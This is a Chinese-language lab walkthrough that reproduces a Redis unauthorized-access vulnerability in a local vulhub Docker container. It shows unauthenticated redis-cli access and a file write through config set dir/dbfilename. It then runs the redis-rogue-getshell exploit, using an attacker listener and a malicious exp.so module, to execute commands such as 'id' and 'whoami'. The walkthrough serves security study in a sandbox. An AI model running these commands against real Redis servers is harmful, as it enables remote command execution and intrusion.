文章目录
- 搭建环境
- 漏洞复现
- 安装Exlopit并使用
前提条件:
1.安装docker
docker pull medicean/vulapps:j_joomla_2
2.安装docker-compose
docker run -d -p 8000:80 medicean/vulapps:j_joomla_2
3.下载vulhub
搭建环境
输入下面命令,来到Redis的路径下:
cd vulhub/redis/4-unacc
然后输入下面命令,安装容器并启动
sudo docker-compose up -d && sudo docker-compose up -d
如图,安装中:
安装完成并启动后查看容器状态:
sudo docker-compose ps -a
状态为已启动,redis的端口号是6379:
漏洞复现
用下面命令连接redis数据库,发现不需要账号密码,可以直接连接数据库:
redis-cli -h 127.0.0.1
说明redis存在未授权访问漏洞:
在数据库中用info命令查看数据库信息,可以查看:
然后在数据库中添加键值对和一个txt文件,并尝试访问文件,如果能访问成功,说明数据库有读写文件的权限。
新建键值对并查看
set name EMT
get name
执行命令后可以成功查看:
设置一个目录:
config set dir /tmp/
设置新建一个文件:
config set dbfilename EMT.txt
保存
save
如图,命令执行成功:
由于连接的是docker容器的数据库,所以我们可以在docker中查看刚刚新建的文件是否存在,首先登录容器:(-it后接的参数是容器的ID)
sudo docker exec -it 4-unacc-redis-1 /bin/bash
登录成功后用命令查看tmp目录下的文件是否创建成功:
ls /tmp
发现创建成功,说明redis数据库可以读取写入文件,这是redis存在的未授权访问漏洞:
安装Exlopit并使用
进入kali的tools目录下,执行下面命令,获取文件:
git clone https://github.com/vulhub/redis-rogue-getshell.git
下载完成后进入目录
cd redis-rogue-getshell/RedisModulesSDK
输入make进行编译,编译成功后会出现exp.so文件:
然后在redis-master.py的上级目录执行下面命令:
python3 redis-master.py -r 127.0.0.1 -p 6379 -L 10.9.75.45 -P 8888 -f RedisModulesSDK/exp.so -c "id"
如图,获得了uid和组ID:
输入whoami命令查看:
python3 redis-master.py -r 127.0.0.1 -p 6379 -L 10.9.75.45 -P 8888 -f RedisModulesSDK/exp.so -c "whoami"
执行成功,回显出数据库的名字:
说明该漏洞可以用来获取数据库信息